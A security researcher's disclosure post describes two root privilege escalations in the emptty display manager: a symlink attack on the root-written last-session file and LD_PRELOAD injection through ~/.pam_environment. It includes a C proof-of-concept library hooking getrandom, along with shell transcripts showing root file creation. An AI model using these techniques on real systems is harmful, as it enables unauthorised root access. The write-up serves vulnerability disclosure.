emptty: root privilege escalation

This post describes two security issues I found in emptty prior to version 0.4.2.

When a user logs in and chooses a window manager to start, emptty will write a file into a file in the users home directory as root to store the last session:

    pathLastSession       = "/.cache/emptty/last-session"

In the setUserLastSession function it will write the last-session file and then change the access rights to the newly logged in user.

// Sets Last session for declared sysuser and saves it into user's home directory.
func setUserLastSession(usr *sysuser, d *desktop) {
    path := usr.homedir + pathLastSession
    data := fmt.Sprintf("%s;%s\n", d.exec, stringifyEnv(d.env))
    err := mkDirsForFile(path, 0744, usr)
    if err != nil {
    err = ioutil.WriteFile(path, []byte(data), 0600)
    if err == nil {
        err = os.Chown(path, usr.uid, usr.gid)
    if err != nil {

With symlinks we can trick emptty to either overwrite an existing file the users has no access to by making last-session a symlink to it or create a new file the owner will own.

This opens up a lot of possibilities for privilege escalation, we could add hook to some program, a cron.tab file or many other ways that would allow code execution by dropping a file into a directory the user is usually not allowed to write to.

$ ls -lsa /home/duncan/.cache/emptty/last-session
0 lrwxrwxrwx 1 duncan duncan 8 Dec  1 19:27 /home/duncan/.cache/emptty/last-session -> /etc/foo
# emptty
┌─┐┌┬┐┌─┐┌┬┐┌┬┐┬ ┬
├┤ │││├─┘ │  │ └┬┘
└─┘┴ ┴┴   ┴  ┴  ┴   0.4.0

tux login: duncan

[0] Sway
Select [0]: 0
emptty?1$ ls -lsa /etc/foo
4 -rw------- 1 duncan duncan 13 Dec  1 19:27 /etc/foo

root LD_PRELOAD injection

emptty will read the ~/.pam_environment file through pam and add the specified variables to the environment. Users can add a shared-library path to the LD_PRELOAD environment variable and when emptty executes a program as root, the library will be loaded into the program by the dynamic linker and we can overwrite functions from libc to run malicious code.

First defineSpecificEnvVariables adds all variables to the environment:

// Defines specific environmental variables defined by PAM
func defineSpecificEnvVariables() {
        if trans != nil {
                envs, _ := trans.GetEnvList()
                for key, value := range envs {
                        os.Setenv(key, value)

Then later, when emptty executes mcookie(1) it will add all the environment variables to it and execute it as root.

// Prepares and starts Xorg session for authorized user.
func xorg(usr *sysuser, d *desktop, conf *config) {
        // generate mcookie
        cmd := exec.Command("/usr/bin/mcookie")
        cmd.Env = append(os.Environ())
        mcookie, err := cmd.Output()
        log.Print("Generated mcookie")

The following C file is used as a proof of concept, overwriting getrandom(3) which will be used by mcookie(1).

// gcc -o exploit.so -shared -fPIC -ldl exploit.c
#define _GNU_SOURCE
#include <sys/random.h>
#include <dlfcn.h>
#include <unistd.h>
#include <fcntl.h>

static int (*orig_getrandom)(void *buf, size_t buflen, unsigned int flags);

getrandom(void *buf, size_t buflen, unsigned int flags)
        if (!orig_getrandom) {
                int fd = open("/I_have_root", O_CREAT);
                orig_getrandom = dlsym(RTLD_NEXT, "getrandom");
        return orig_getrandom(buf, buflen, flags);

Then we build the shared libary, add a LD_PRELOAD variable to the users ~/.pam_environment and execute emptty as root, which will result in the file /I_have_root being created when emptty starts mcookie(1).

$ gcc -o exploit/exploit.so -shared -fPIC -ldl exploit/exploit.c
$ file /I_have_root
/I_have_root: cannot open `/I_have_root' (No such file or directory)
$ cat /home/duncan/.pam_environment
LD_PRELOAD DEFAULT=/home/duncan/repos/emptty/exploit/exploit.so
# ./emptty
┌─┐┌┬┐┌─┐┌┬┐┌┬┐┬ ┬
├┤ │││├─┘ │  │ └┬┘
└─┘┴ ┴┴   ┴  ┴  ┴   0.4.1

tux login: duncan

[0] Sway, [1] false
Select [0]: 1
Error: Could not open X Display

Press Enter to continue...
emptty?1$ file /I_have_root
/I_have_root: empty
emptty$ ls -lsa /I_have_root
0 ---------x 1 root root 0 Dec  2 14:55 /I_have_root